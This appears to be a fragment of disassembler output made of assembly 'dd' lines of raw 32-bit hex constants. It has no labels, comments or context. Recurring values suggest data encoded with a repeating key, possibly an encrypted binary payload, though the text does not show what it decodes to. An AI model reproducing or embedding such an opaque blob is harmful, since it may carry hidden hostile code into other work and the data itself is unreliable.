		dd 5999A9Bh, 0ABB13296h, 0AB443256h, 0D5BFDB56h, 0BF0A3256h
		dd 5D95D23Ah, 0C116DD91h, 0D642644h, 0A1D13256h, 57B134D6h
		dd 0AB373D56h, 3DB13256h, 0EAB1325Dh, 0B96C6D33h, 569A10D0h
		dd 5209CD7Eh, 0AEB132D6h, 57D06956h, 0AA3F3D56h, 2DB13256h
		dd 0E2583256h, 0A9B13256h, 476A57FCh, 5DAA0BCBh, 0B6393D56h
		dd 0BEB13256h, 0ABB13245h, 32A90882h, 45C42285h, 0BC8BB55Ah
		dd 9A438FE7h, 5D0273A6h, 0A2373D56h, 58B13256h,	0ABB134D6h
		dd 0D53B3D56h, 0EAB13256h, 75B1CA56h, 0BAA4BE59h, 0D3BE3256h
		dd 0AEB13259h, 57B138BFh, 8DD6BE56h, 0F26354F7h, 0EA3E4FE1h
		dd 75B1CE56h, 0BAB13FBFh, 11405D56h, 4C44B81Eh,	61C2B2B8h
		dd 0ABB17888h, 0D5B139BFh, 0C4266456h, 0A7A35303h, 0F900856Dh
		dd 4D583256h, 0A6B13256h, 0A1BC3B9Eh, 0CD6DE8h,	5D553452h
		dd 0EABB0BFCh, 75BFDB56h, 4FC33256h, 0D8E5A38Ch, 1DBC487h
		dd 0A49CD23Dh, 21BE3256h, 0D5B13247h, 0EABAB359h, 73583256h
		dd 31B13256h, 0E18896D8h, 0BA585213h, 1AB13256h, 48FC27B3h
		dd 9952F82Fh, 0F50F8454h, 73BE4852h, 0B55A5CDBh, 5DD0CBE9h
		dd 0AF3A3D56h, 0AFB13256h, 0CAD13256h, 0D5B0B859h, 0EA493256h
		dd 75B1CB56h, 42B132AFh, 5DBDB959h, 26BE3256h, 57B13250h
		dd 0ABB1B759h, 0D5B13256h, 0EAB13DBFh, 9E86CE56h, 0C09D788h
		dd 0A5D009C2h, 2D0CBA1Bh, 0EFD13256h, 0D7E2D59Ch, 1E063D04h
		dd 0EAB1530Dh, 75BEBC59h, 52D13256h, 5DB13253h,	918C645Ah
		dd 0A23B6B27h, 0AC323D37h, 0DAB13256h, 0EAB133D2h, 75B1CB56h
		dd 0BAB126BFh, 0B6B9A56h, 4B751F75h, 91D40570h,	77096927h
		dd 562292BFh, 0E5B132EBh, 75B135D2h, 48315256h,	3C6084EDh
		dd 0AEB9B559h, 0DDBE3256h, 0ABB13254h, 0D5B15336h, 8AB132AAh
		dd 75B123BFh, 319B3956h, 2A35B29Fh, 6FCE2C9Eh, 59176E27h
		dd 0B8591A7Dh, 0E7B13256h, 51F50F7Bh, 173D78B0h, 8A934FC6h
		dd 5FA4AA50h, 0F64DD133h, 58B13237h, 0ABB131D0h, 0B4485256h
		dd 0FA583256h, 8CB13256h, 0A507B7B5h, 0DE3D93DAh, 0B517D192h
		dd 57715B38h, 0A458CB56h, 0F3B13256h, 7ED197F8h, 741305EBh
		dd 4B2D0B92h, 5DB169D5h, 0AEBBB359h, 52583256h,	0C5B13256h
		dd 3CFA2066h, 69BE3256h, 75B13243h, 0BABEBA59h,	57583256h
		dd 0FB13256h, 0A97E8E6Dh, 0BD70783Bh, 0B5B132E7h, 8BFD8336h
		dd 75B123BFh, 0D5C55C56h, 7553052Bh, 0D2899FD3h, 0E5997BA4h
		dd 0ABD01C83h, 0D5BFDB56h, 0C8E13256h, 0A23ADD3h, 0A533BB83h
		dd 0A0E8D9AEh, 0AB343D36h, 31B13256h, 0DA8ADBD7h, 0D5D06A06h
		dd 64BE5256h, 75B13253h, 5D3192ECh, 4D303D7Bh, 47B13256h
		dd 57B1325Dh, 4EFF414Eh, 74F35ABEh, 8BF3223Ch, 75493256h
		dd 0BAA1DB56h, 8EC23256h, 676EA1CAh, 0AB45C63Ah, 0DD2C5A0Fh
		dd 0D5B1BAAEh, 13B132AAh, 75493256h, 0B63B3D56h, 52B13256h
		dd 0AEB134D0h, 57313D56h, 0ABB13256h, 0D5B1CB56h, 0E5B132AFh
		dd 75B122DCh, 0BABADB56h, 6A1E3256h, 0C4CD22F2h, 8F1C977Bh
		dd 5EB132ACh, 0DAD13256h, 0EAB122D7h, 75BADB56h, 0E1193256h
		dd 0AF17AA37h, 0A3EAF6EDh, 57B15316h, 0ABB0B259h, 0D54D3256h
		dd 8C4D5256h, 144706ECh, 0B5583256h, 63B13256h,	909AB662h
		dd 0DEF9533Dh, 69281D89h, 0D5B157A0h, 0EAB138BFh, 0BCA56456h
		dd 87A1794Dh, 5D9888DFh, 0BC3A3D56h, 0BEB13256h, 0ABB1325Bh
		dd 0B9515696h, 0EEEBADEBh, 888A501h, 43B13247h,	9E085436h
		dd 2ABE525Ch, 57B13256h
		dd 0ABB1BC59h, 0B4D03256h, 0EA443256h, 75B1CB56h, 527FB936h
		dd 5DB13259h, 0D05FEAE7h, 6E5BD1FEh, 9386919Ch,	6C3734D0h
		dd 9746A21Fh, 75B1530Ch, 0BABDB659h, 0DCBE3256h, 0AEB13250h
		dd 57B1BE59h, 0ABB13256h, 0B5B132AFh, 0CC66C4D7h, 0D90B7863h
		dd 0DBA2ADE8h, 3BD13256h, 0C8BC27ECh, 36334AECh, 0CDD13256h
		dd 0B5EF17EEh, 0F75EB330h, 14D0CE70h, 52D13256h, 5DB13250h
		dd 0D62C50C5h, 36D18F71h, 0ABBFDB0Eh, 82E93256h, 49BC56DDh
		dd 0DEE9BFF6h, 0B1FA9606h, 0A1B13237h, 0A6583256h, 0F0B13256h
		dd 0C25DA8D9h, 0D54C3F90h, 0F93B3D56h, 9CB13256h, 0BAB13258h
		dd 6AA5966Dh, 0FF58ED25h, 3744B236h, 0ABB19752h, 2278B336h
		dd 3C69AE3h, 75B13251h,	865B8E3Eh, 3C992F6Bh, 0AEB137BFh
		dd 0CC2A156h, 0ABB15014h, 6ED7C736h, 0EAD0E103h, 74303D56h
		dd 42B13256h, 0DDBE3256h, 0AEB13257h, 58B132AAh, 0ABB13AD9h
		dd 0D73F3D56h, 8AB13256h, 7B313D37h, 0DAB13256h, 5DB1BA59h
		dd 65303256h, 0CC8ABBh,	0CBB13237h, 123A54AAh, 0E5B13237h
		dd 75B139D0h, 0BAB7DB56h, 86323256h, 7F6224F5h,	44583256h
		dd 0CAB13256h, 7A2840C3h, 8E256BF6h, 7F7C69D2h,	0F08D3BDFh
		dd 5DB10C6Ch, 0AEB137BFh, 0E1DD5156h, 0ABB1E726h, 0D5B122BFh
		dd 0CD829456h, 0B04D1298h, 5ABE3684h, 62368537h, 47B1320Dh
		dd 57B13253h, 66180831h, 20B132B6h, 0EAB13CBFh,	7CD29956h
		dd 7886550h, 8C142B5Ch,	0AE287340h, 5C3F3D56h, 0CBB13256h
		dd 0DA6BB930h, 0EAB132D6h, 75B15356h, 0B16BB236h, 52B13237h
		dd 0AEB133DFh, 57B1CE56h, 0ABBDB659h, 53BE3256h, 0EAB13250h
		dd 75B1B459h, 0BA443256h, 0A4E05256h, 0AEB1530Fh, 57B121BFh
		dd 6B329A56h, 2D81460Fh, 58346564h, 0B36A8AE6h,	7C8EAE49h
		dd 0D2BE3256h, 0AEB1325Ah, 57B7B059h, 26BE3256h, 0D5B13256h
		dd 6FBE3256h, 75B1325Dh, 790E5436h, 963054A3h, 47D0B568h
		dd 57B13250h, 0CBCD5475h, 0D5B15653h, 63BE6036h, 75B13256h
		dd 0BAB1530Dh, 5DBDBE59h, 0A9583256h, 0CCB13256h, 0C0F7AEEEh
		dd 0D5B1129Fh, 3B132AEh, 75B1325Ah, 89303B32h, 0B70B325Eh
		dd 7B7BB1FCh, 44583256h, 76B13256h, 2F87D513h, 0A6F88C0Eh
		dd 305F13D6h, 528C9B1Ch, 5DB14246h, 0A1B132AEh,	57B123DEh
		dd 0ABBDDB56h, 1D213256h, 0CA2742F7h, 3C72AAA2h, 0BAB10B49h
		dd 8E0E3D36h, 0AEB5BB59h, 0E9D73256h, 0A4D0ACDBh, 0D5B12EDDh
		dd 0FC3D3D56h, 9CB13256h, 0BAB13247h, 2017DFBDh, 572DB33Eh
		dd 71813098h, 55647082h, 20B1324Dh, 0EC583256h,	0D5B13256h
		dd 5D0DA13Dh, 3DB13211h, 0F5EF6506h, 0BEB13237h, 0ABB13259h
		dd 3BB9D39Fh, 6A9DAFF8h, 0E51D5E97h, 0BA9BAB11h, 5DB8DB56h
		dd 74BD3256h, 7FF00574h, 0AB6068ACh, 0D5B6DB56h, 26143256h
		dd 6BE2A638h, 0BABBDB46h, 0FC7E3256h, 0EBFDEEFBh, 53E49166h
		dd 2CBE3256h, 0D5B13257h, 3B132A3h, 75B1325Bh, 0F760B8EAh
		dd 6B51FCB1h, 10D46D6Bh, 0ABB1329Ah, 0A4D13256h, 54D7E0E9h
		dd 8B23E3B9h, 75B139BFh, 687E5256h, 0ED18880h, 2224317Ch
		dd 0DDBE3256h, 0ABB13242h, 0D5B13DBFh, 9CBDE256h, 0AB78A3FFh
		dd 0A48AE92Dh, 374D7D9Eh, 18095436h, 3643B9DBh,	2BD13256h
		dd 54D7CBBEh, 8B4DBFB5h, 7B583256h, 32B13256h, 0FB2D2A6Fh
		dd 2B2CC398h, 516852D6h, 0A4B132F1h, 0D5B13ED4h, 0EC303D56h
		dd 7AB13256h, 0BAB132DBh, 0A8B13256h, 0A4583256h, 34B13256h
		dd 9D37DA75h, 0C4CD1F1Dh, 0E5B13202h, 75B139D5h, 60315256h
		dd 5D323D41h, 0CFB13256h, 58D13256h, 0ABB137D5h, 0C305456h
		dd 8B4D9A33h, 4B7FB236h, 0BAD0A9E3h, 0E2BE5256h, 0CF43B9A7h
		dd 50583256h, 1B13256h,	0DBB3867Dh, 0EAB17859h,	75A2DB36h
		dd 0D8813256h, 47C8211Ah, 0D4B39AD1h, 0B78832CBh, 737953BDh
		dd 0D5B15319h, 0EAB0BE59h, 75493256h, 0BABFDB56h, 1E303256h
		dd 7FF22D05h, 7642B972h, 2A178B09h, 3CB132AEh, 0EAB1325Fh
		dd 0B5D62499h, 0A949C58Bh, 0B4B13293h, 0AEB1325Eh, 1BEF4C7Ah
		dd 0E7B63E79h, 0D5483256h, 0EABEDB56h, 0EAA23256h, 0C477BA06h
		dd 1A31B066h, 76E83EDFh, 0BEB132D0h, 0ABB13247h, 0BD9AFC56h
		dd 120F4BF9h, 0D1E5F856h, 99663009h, 52B132AAh,	0AEB139D1h
		dd 8E305256h, 0C9A8D5A8h, 0B47F8D59h, 60D13256h, 73333D97h
		dd 0B5B13256h, 5DB132D5h, 0AEB15356h, 57BDB659h, 21BE3256h
		dd 0D5B13250h, 0EAB1B459h, 13D13256h, 31D7C0DDh, 5DB153AFh
		dd 2FD76536h, 0E3B2085h, 0ABB9DB37h, 3A9A3256h,	8531A82Dh
		dd 75B1EE9Fh, 52D28136h, 5DB13247h, 273CB175h, 0F92AFA3Ch
		dd 0A1D9D256h, 0A4D15A90h, 0EAD06DFBh, 75B1CE56h, 9263B336h
		dd 3CF2336Dh, 0A5583256h, 6AB13256h, 31A96579h,	9681459h
		dd 0EA49476Eh, 754DCB56h, 0BAB8DB56h, 0E2213256h, 0FB0739AEh
		dd 57AEC7AFh, 2AD75256h, 0DA7D3C87h, 0EAB130DDh, 14D05256h
		dd 43B132AEh, 52B132AEh, 0AEB135D6h, 31445256h,	0CA245DEDh
		dd 0DC583256h, 11B13256h, 1BAEBAC9h, 4D5ACC73h,	5DB126BFh
		dd 90EF5256h, 52AFE76h,	0DDB96B0Ah, 53AFE3EBh, 0CF17974Ah
		dd 80B13270h, 0B5583256h, 3AB13256h, 859733A2h,	0A1509D16h
		dd 61162AACh, 53BEA497h, 0EAB1325Eh, 75B3B359h,	0DBD13256h
		dd 0DABE3256h, 0AEB13247h, 57B13EBFh, 0F5BA7256h, 8053C021h
		dd 8D1911Bh, 75A2DB7Dh,	2ACC3256h, 5E65DF8h, 882AF2E3h
		dd 483F26CBh, 84958782h, 0DAB13242h, 0EAB135D9h, 74393D56h
		dd 46B13256h, 3BD13256h, 0CE8AF1D7h, 57B153AAh,	0ABA2DBAEh
		dd 0DFFF3256h, 0BF01779Ah, 377EE245h, 5DB1418h,	0F0434A04h
		dd 52B13279h, 58583256h, 2BB13256h, 9E1CE449h, 422074E4h
		dd 27FA3FAAh, 0BAB1253Ah, 5DD0C736h, 0AEB1C756h, 57B126BFh
		dd 6D689256h, 8DC3A8ABh, 0E6AD2D10h, 0B1C16DB4h, 0FDCE46A8h
		dd 0A1B13278h, 0AE4D3256h, 0DB0E5256h, 0F8B98EFAh, 8A42B930h
		dd 0E4595237h, 0F3B13256h, 460949D3h, 0D81D5DEBh, 0ACDEC16Fh
		dd 3E60B311h, 0F2B20E91h, 0D5B153A3h, 0EAB9BE59h, 0F1BE3256h
		dd 0BAB13254h, 5DB15336h, 0AEB6BF59h, 0D3BE3256h, 0ABB13257h
		dd 3CB132AEh, 0EAB13251h, 9B12410Dh, 0BA562D81h, 0BE305256h
		dd 0C8EF2694h, 57B9DB37h, 2423256h, 0CBEF7222h,	0EAB1D663h
		dd 75BAB059h, 0BC583256h, 0B5B13256h, 0DF098492h, 58B13243h
		dd 0ABB136DBh, 53B5256h, 0EAB6DB37h, 0CF263256h, 4F0A7B61h
		dd 0A1B132FFh, 0AEA0B759h, 5B583256h, 0A5B13256h, 0A4F83F0Ch
		dd 0AB5F9702h, 75ED09D7h, 0BABFDB56h, 373F3256h, 0D221C981h
		dd 0E4354EBCh, 0DD083D05h, 0D5A6BE59h, 0F8583256h, 7DB13256h
		dd 0CF86048Ch, 45B1846Ah, 7F98EB9Bh, 0CEC17804h, 42B1320Bh
		dd 0D5B13253h, 56F9ACCBh, 9CB1321Ch, 0BAB1325Fh, 7A3A6A3Bh
		dd 43BAB780h, 37B13290h, 0A44BB930h, 0D5D0F0E9h, 0EAB1C756h
		dd 8CB132AFh, 0AE583256h, 6BB13256h, 6BD399A4h,	9229A4EEh
		dd 8002570h, 23D8CEF2h,	0EA7459A4h, 0F4D75256h,	0B55B80B4h
		dd 5DB137DEh, 59305456h, 57D0ECC4h, 26BE5256h, 0D5B13254h
		dd 6BD76A07h, 14E9078Ch, 34BE3256h, 5DB13242h, 0AEB13DBFh
		dd 749C6256h, 9C242604h, 3BA9395Ch, 0BA7DB5E8h,	75483256h
		dd 0BAB1CB56h, 5DB13EBFh, 97498F56h, 952DE6FEh,	8FCCF84Dh
		dd 0DAB132A1h, 0EAB133DFh, 75B1CE56h, 43B132A3h, 51583256h
		dd 0F5B13256h, 455CAD90h
		dd 0D3AC3F30h, 0D59758F1h, 343A5256h, 75B153A3h, 0BAB134BFh
		dd 7CB8F656h, 0AE2DD343h, 56353D56h, 57B13256h,	3A305436h
		dd 0E5D19B3Dh, 0FFBECDE1h, 0BAB13256h, 5DB15337h, 29BE6236h
		dd 57B13256h, 25BE530Ch, 0D5B13251h, 0E5E96536h, 75D0CAE1h
		dd 0BAB1C756h, 5DB13FBFh, 62107E56h, 0D2B3C7FCh, 0E946B5E9h
		dd 0D5B1CF30h, 8AB132AAh, 3F0C0D7h, 0B5D0433Eh,	5DB123D4h
		dd 0AEBDDB56h, 159D3256h, 0FDA2C16Bh, 632C1A7Ch, 0EAB11231h
		dd 75B0BB59h, 0BA493256h, 0D6D75256h, 5247B2A1h, 0BEB13237h
		dd 0ABB13245h, 232D7A28h, 48F2E819h, 4B4A87C3h,	0A6E6616Dh
		dd 5D45D892h, 713A5256h, 58B13237h, 0ABB135D6h,	5ED75256h
		dd 8B4AB9A6h, 0FABE3256h, 0BAB13257h, 0B4B132AAh, 0AEB1325Ah
		dd 6BB31071h, 2E655DC3h, 0F4B8F607h, 0EAB135BFh, 0A988B656h
		dd 0E25DB4Eh, 4F583256h, 45B13256h, 0E4401E6Ah,	19AF1718h
		dd 4DA5656Dh, 0B69828B5h, 9CB132A8h, 0BAB13258h, 0E44CADC0h
		dd 0D4E7D1A2h, 3A6B2BDFh, 0ABB1B938h, 0D5B137BFh, 8A3BD756h
		dd 75B1D215h, 36FB336h,	0B5D80611h, 0AEB13246h,	58D629F3h
		dd 964D0A7Bh, 415C330Bh, 3D98E57Eh, 75B13BBFh, 0CE881E56h
		dd 0BA754506h, 0CFEF8F89h, 57443256h, 0ABB1C756h, 0D5B126BFh
		dd 0C737D356h, 0BF14CA5Fh, 0DBF58111h, 0FE438CE5h, 0E560D2C9h
		dd 0AFB132F0h, 2AD13256h, 0B84813BCh, 0C8508B5Eh, 9CD07990h
		dd 0BAB1325Eh, 4E39C192h, 4B1B6EC3h, 0DEBE3256h, 0ABB1325Dh
		dd 0D5B134BFh, 0FE50356h, 7A7314A0h, 0BAB138D5h, 0D6D75256h
		dd 890F8B80h, 57D04C6Fh, 0ABB1CA56h, 0D5B13ABFh, 51904556h
		dd 9461B73Bh, 4FB13287h, 0D8BE3256h, 0AEB13257h, 0BEB132AAh
		dd 0ABB13258h, 0ADD6CCDFh, 9DC9FF67h, 0BCDDBE0Ah, 0BAB1FC75h
		dd 52B132AAh, 0AEB133D2h, 57B1CB56h, 0ABB134BFh, 0FFD46156h
		dd 0EACDE5D3h, 0F2BE5256h, 0BAB13254h, 0AC306D04h, 82CF1B09h
		dd 0ABB13237h, 0ABB13FBFh, 0FF0FA956h, 0DEC9C616h, 0DFF210B8h
		dd 0BAB19574h, 5DB120BFh, 0A2C4B556h, 352B3F33h, 0C2172348h
		dd 441BE29Eh, 0EAEAAD12h, 0B2315256h, 0DB4BB9BCh, 5D4D3256h
		dd 0A2353D56h, 37B13256h, 0C50F05EFh, 43C38D58h, 0EAD048D8h
		dd 75B4DB56h, 8F463256h, 5DB6F4C5h, 0AEB1CE56h,	57B134BFh
		dd 0F0CE6A56h, 0D5E54128h, 0EB323D56h, 89B13256h, 0B5D13256h
		dd 5DD0F0E9h, 0AEB1CA56h, 57BDBF59h, 0AC583256h, 65B13256h
		dd 96BABC1Eh, 75B1ED01h, 0BABDBD59h, 0DDBE3256h, 0AEB13250h
		dd 57B1BC59h, 0B8583256h, 0C1B13256h, 52F60B27h, 0D68CC03Eh
		dd 12E1CD86h, 0B567A2E3h, 0AEB14635h, 57A0B759h, 29BE3256h
		dd 0D5B1325Dh, 0EAB134BFh, 0DA32556h, 0BAE2E564h, 5DB1CA56h
		dd 0A93E3DAAh, 58B13256h, 0ABB133DFh, 0D5B1CE56h, 8AB132AAh
		dd 0A5CA8A30h, 0BAB7B859h, 0AB303256h, 929C664Fh, 0BEB13237h
		dd 0ABB1325Bh, 0BF10703Eh, 9087046h, 0FF342D93h, 42B13256h
		dd 0DCBE3256h, 0AEB13251h, 57B0BB59h, 0AB483256h, 54D75256h
		dd 5E6AD291h, 75B15381h, 0BABEDB36h, 32313256h,	94F9EE9Fh
		dd 4F459262h, 7425B8C7h, 0D5BEDB16h, 2B763256h,	0E722B33Fh
		dd 67EB8C9Dh, 0AB85B2CFh, 0AEB15381h, 57A6B659h, 0B9583256h
		dd 77B13256h, 3DF33C89h, 55DDA735h, 123DCABCh, 0B630A307h
		dd 5BB132E6h, 57483256h, 0AC323D56h, 0DAB13256h, 0EAB133D6h
		dd 75B1C756h, 0B5B132AEh, 5DB133D5h, 0AEB1CB56h, 57B0BD59h
		dd 0A44D3256h, 0D5B133D7h, 0EAB1CE56h, 0FED752AAh, 0BABDDBADh
		dd 25F03256h, 0CE87DF2Dh, 0BFC1A129h, 0ABD04A1Bh, 0D5A3DB56h
		dd 41FE3256h, 0D11BA7BFh, 3976BE73h, 0EE6CD687h, 0C85F020Ch
		dd 0D4BE3256h, 0ABB1325Eh, 0D5B3B159h, 8BD13256h, 80B132AFh
		dd 0B5B132A3h, 5DB124DDh, 0AEA0DB56h, 2FE83256h, 3B3EAFF5h
		dd 60B91C76h, 3CA73EA6h, 756B9070h, 0BAB1CB56h,	3446436h
		dd 5F3A5406h, 37D1530Dh, 0A46EB930h, 0D5B132D0h, 8B4D5356h
		dd 65583256h, 59B13256h, 0F43A78F9h, 7F9B3CAh, 11DDE1D5h
		dd 0ABD3FAEDh, 6ABE5256h, 8C445291h, 14D0C1DDh,	0ED13256h
		dd 5DB15376h, 2E7EB836h, 37D0698Dh, 54063D36h, 1F063D01h
		dd 0EA595308h, 2FB13256h, 7931D8D7h, 0D9BE35BCh, 0AEB13266h
		dd 57A3DB36h, 44AA3256h, 5DD1FBFDh, 67AE0F20h, 5EEF253Bh
		dd 0A0531B0Eh, 5DB120BFh, 0E52DD956h, 7D8607D5h, 0B9F238A9h
		dd 5FACE53Ah, 8B8B32DEh, 75B134BFh, 29403E56h, 0A15A0A94h
		dd 1B91B7DBh, 0D7BE35BFh, 0ABB13251h, 0D5B0B059h, 8A4D3256h
		dd 7137B5EFh, 0B63D3D36h, 0B4B13256h, 0AEB13251h, 7DAD8F55h
		dd 0CAE60100h, 790BB0DFh, 6BBE35BCh, 75B1325Dh,	0CF0A5436h
		dd 8D305445h, 23D0B860h, 0BC1F66D4h, 2938CB51h,	0D25B9EBBh
		dd 0EAA3B059h, 0FCBE3256h, 0BAB1325Ah, 5DB135BFh, 544C5456h
		dd 0A59CCB8Bh, 0AB8532BEh, 0D6095256h, 2F9B938h, 75B13258h
		dd 0B3EBB004h, 84AE1BB9h, 0CE1CCF7Dh, 5158545Ah, 63B13256h
		dd 368EAD5Eh, 2D069A5h,	75B1303Dh, 0B033F5AEh, 5DB6D8FAh
		dd 0A1B13256h, 57B135DBh, 1CBE5256h, 0B4D052AFh, 0E0343D04h
		dd 9CB13256h, 0BAB13253h, 1F13068h, 8334F4B1h, 1B6D67Ah
		dd 0ABB13DBFh, 3F938D56h, 0A62CBC34h, 0FE81CFE2h, 0B1447FE9h
		dd 0F509603Eh, 19BE52CAh, 3666B890h, 0EA04CDAEh, 0B5B6D677h
		dd 0EAB13CBFh, 9981FA56h, 0E92996E9h, 9AFB7154h, 2F5BFE37h
		dd 3CCD2CA7h, 2E3C5355h, 0D25682F1h, 79085236h,	7AE95B00h
		dd 0BAB132DFh, 0EB0F5356h, 0CFC6CB35h, 0D7D1E2A9h, 0A2592890h
		dd 9AB13256h, 4982D04Eh, 59CA3B78h, 33D069AFh, 0B992D3D3h
		dd 0B9323D51h, 37B13256h, 0B159B330h, 0D5BADB6Eh, 1DC83256h
		dd 0CF13F422h, 3361CF42h, 59DB53E1h, 59305236h,	0CFAB853h
		dd 0AF50B330h, 0DAD153B4h, 0EAB132DAh, 7D6DB256h, 0BAD95337h
		dd 52B13246h, 0AEB121D1h, 57BFDB56h, 21F03256h,	0B950B7F2h
		dd 0CACBB59Ah, 9E942FBEh, 0B9BC723Eh, 5DDBCB56h, 0AEB13EBFh
		dd 0E8868256h, 8E526B0Fh, 5D927147h, 0E561CDF5h, 75B135D0h
		dd 0BB3C3D56h, 0A1B13256h, 20BECE0Ch, 57B1325Ah, 0ABB7B459h
		dd 5CBE3256h, 0EAB13256h, 0F1BEF25Dh, 0BAB13340h, 0B44D52AEh
		dd 0AEB13245h, 56DAACA8h, 0AE885A5h, 0D89CB041h, 6BA89C04h
		dd 140B86F5h, 16BBB0DFh, 0D6BE35BCh, 0AEB1325Eh, 57B3B659h
		dd 0CAD13256h, 79ABB0DFh, 534935BCh, 75B23F16h,	5349B9A3h
		dd 5DB13247h, 0AC345517h, 0CF0F2B23h, 5B613C0Bh, 5FF15247h
		dd 0EC58522Bh, 0A9B13256h, 753B8876h, 6809548Ah, 6E82538Ah
		dd 579BB359h, 42D13256h, 0D5B1325Ch, 5BE26FD1h,	0CD5A7BD1h
		dd 0AE58731Ah, 0DEB13256h, 0AD9169AFh, 0CB2F3B9Dh, 60D01EDAh
		dd 86EB5EB1h, 8BA73312h, 274D98A5h, 53B558AFh, 5DB13258h
		dd 2EBAA085h, 21E21EE0h, 714D2DB0h, 0D5D9AA24h,	3B13246h
		dd 75B1325Fh, 0C398C374h, 869C2A36h, 0AAB15A73h, 3D493256h
		dd 0ABA0DB56h, 0A72C3256h, 0B6C4047h, 3546A702h, 8DE2A9ADh
		dd 0A892C93Eh, 8D50A0A9h, 0D7BE35B2h, 0ABB13240h, 0D5B123BFh
		dd 0C810B856h, 0F2055CFAh, 723CA204h, 9E2A7942h, 56EB27F4h
		dd 57B0B359h, 224D3256h, 3F1E2AD4h, 16D0CA51h, 0D9BBB7DDh
		dd 3CBE35BCh, 5DB13257h, 0CE4DF1A3h, 57B13ABFh,	93E48D56h
		dd 53FE6002h, 0E733F5A5h, 75B6D665h, 0B5B17256h, 5DB13AD7h
		dd 0AC3D3D56h, 37B13256h
		dd 7A33F537h, 0D5B6D64Fh, 0E5B13246h, 75B133D3h, 53D0C756h
		dd 5DB1325Eh, 0C2EFAC2Dh, 1D6D3175h, 0ABBEDB95h, 1C863256h
		dd 81531222h, 329E5F83h, 0ECF18E48h, 0A444521Fh, 2BB88DDh
		dd 0DBBE35BCh, 0ABB13251h, 0D5B0BB59h, 69483256h, 0F1BE3269h
		dd 0BAB132BBh, 5DBDB759h, 22BE3256h, 57B13250h,	0ABB1BC59h
		dd 0AA323256h, 6EBE3046h, 75B13239h, 0C571B336h, 0AEBB3CFh
		dd 5BD06CAFh, 53A14DD5h, 0AB37B659h, 0B3D13256h, 0AC08EDD7h
		dd 75B121BEh, 0E4B2B756h, 0C4CE94E9h, 6DDFE724h, 96AFE011h
		dd 4B00F0B4h, 0D5B123BFh, 0B51F3256h, 0D37F27FAh, 0BA597F8Eh
		dd 4B573D0Ch, 0CFE92D6Eh, 4376B1A3h, 0ABB13CBFh, 0DBD8056h
		dd 916002D5h, 4194EE42h, 53BBC3D3h, 0A24ECD25h,	0A90F5436h
		dd 90D0C704h, 0ABB02211h, 0DD583256h, 30B13256h, 0B1AE4C19h
		dd 5379C499h, 0A24ECD93h, 0AEBCDB36h, 31EE3256h, 0C1BAFEE6h
		dd 1D316FB4h, 8B965CE7h, 76A17591h, 0B5B13256h,	5DB13AD8h
		dd 74305256h, 1D64E266h, 5426DB37h, 87D1CDA9h, 0DF881CE8h
		dd 78586B17h, 91B13256h, 3955A014h, 5D0C0A82h, 902456C5h
		dd 0BA585337h, 0A5B13256h, 1C43F13Dh, 4726F883h, 536C58DAh
		dd 1F3B7F1h, 0AEBDDB95h, 0E9573256h, 1C312019h,	0D2A6FE0Ah
		dd 8AE4FF47h, 75B135BEh, 1028F556h, 0D6633046h,	0A1E66BAFh
		dd 36E8CDE1h, 0AF333D36h, 0B3B13256h, 614D0BE8h, 993A539Dh
		dd 0BAB7BC59h, 3BD13256h, 0CF761EEFh, 5D353D36h, 42B13256h
		dd 0D5B13253h, 0B54F03BDh, 75B1DAEAh, 3BEB3256h, 0B77991BCh
		dd 0A058CA51h, 0EB13256h, 20C0A4E5h, 3125EB38h,	58DA4320h
		dd 5B03B970h, 0B5B6D8F9h, 5DB13EDEh, 0A8373D56h, 58B13256h
		dd 0ABB132D8h, 0D5B8DB56h, 0DF053256h, 0EEA6B2E4h, 31443D69h
		dd 4E583A13h, 1CB13256h, 1D1ED10Dh, 2A2D9BDDh, 6329B1Eh
		dd 220A743Ah, 73380634h, 0BAB139BFh, 616E5256h,	7DA9E416h
		dd 0AA3C1D05h, 49FB0D5h, 20B535BCh, 0ED585237h,	18B13256h
		dd 24C4FB90h, 94D01286h, 2FD76036h, 0CE9EBB1h, 69D0C2DDh
		dd 0B5493252h, 0EABDB659h, 0F8BE3256h, 0BAB13250h, 5DB1BB59h
		dd 0AE593256h, 0DB13256h, 62E1D8D7h, 204D35BCh,	45A980DDh
		dd 4E4935BCh, 501E1CE4h, 8C353D51h, 0CEB13257h,	0E75BDAD6h
		dd 953A5374h, 0B3A6536h, 0F0B600Ch, 2BD550EFh, 536EB937h
		dd 5DB1325Eh, 7F543373h, 0AAB7CD80h, 0AAFE8459h, 0D5B0B959h
		dd 1C483256h, 7A313311h, 0BAB10CD3h, 0E2BE5256h, 0AEB8DBAEh
		dd 0FD6B3256h, 4A3E6605h, 0B459FD80h, 68BEEB55h, 75B13251h
		dd 0BAB0BD59h, 0B4493256h, 0AEB13265h, 57A0BF59h, 0A7583256h
		dd 7FB13256h, 23DBF208h, 0D5DE9357h, 91B1014Fh,	49313D8Fh
		dd 47B13256h, 57B13259h, 8B86C91Ah, 13FEA099h, 7EEC7C4Dh
		dd 365551CEh, 53D152AEh, 5DB1325Bh, 284C2899h, 99BF8167h
		dd 0C88827DFh, 0B472B841h, 0C25AE2D7h, 36D0292Eh, 0BAB0B359h
		dd 0D64D3256h, 4A927FD3h, 57BBDB51h, 148B3256h,	9FF112B4h
		dd 0BC6A9A90h, 60D4BFDDh, 814935B2h, 0E8333D8Eh, 0A1B13256h
		dd 57B12FD7h, 0BC3E3D56h, 3CB13256h, 0EAB13244h, 616C45A9h
		dd 0D0F13218h, 6656021Fh, 655F7D1Ch, 8E8A4D1Ch,	0AB3BB559h
		dd 0C6583256h, 3B13256h, 0C1B8C354h, 0C2C1B1CEh, 0BA6FAFD6h
		dd 6670F69Fh, 913231EEh, 43D15252h, 0D5B1325Bh,	0CC29D32Fh
		dd 39AADE5Ah, 0F40E44ACh, 49586D2Fh, 3AB13256h,	424E4964h
		dd 0DACD3F09h, 0ECD6C7E7h, 6E4E56FBh, 14166542h, 0B5D01DE2h
		dd 5DB13CD4h, 0AEB8DB56h, 0E2DB3256h, 12CCE38Ch, 3C17E222h
		dd 154ECCD5h, 75B13FBFh, 6897B456h, 55253FB1h, 41EB52FDh
		dd 5A58EDE6h, 0EBB13256h, 70958944h, 95260F68h,	0C65E8116h
		dd 3EBEFD6Dh, 5DB13262h, 0AEB13CBFh, 778C8356h,	0DC5F3103h
		dd 47FAFFD4h, 8ABBFA25h, 75B7DBA3h, 355B3256h, 0A17E1871h
		dd 0CB0CBB37h, 58B6D643h, 0ABB133D9h, 0C858C756h, 124ECDA8h
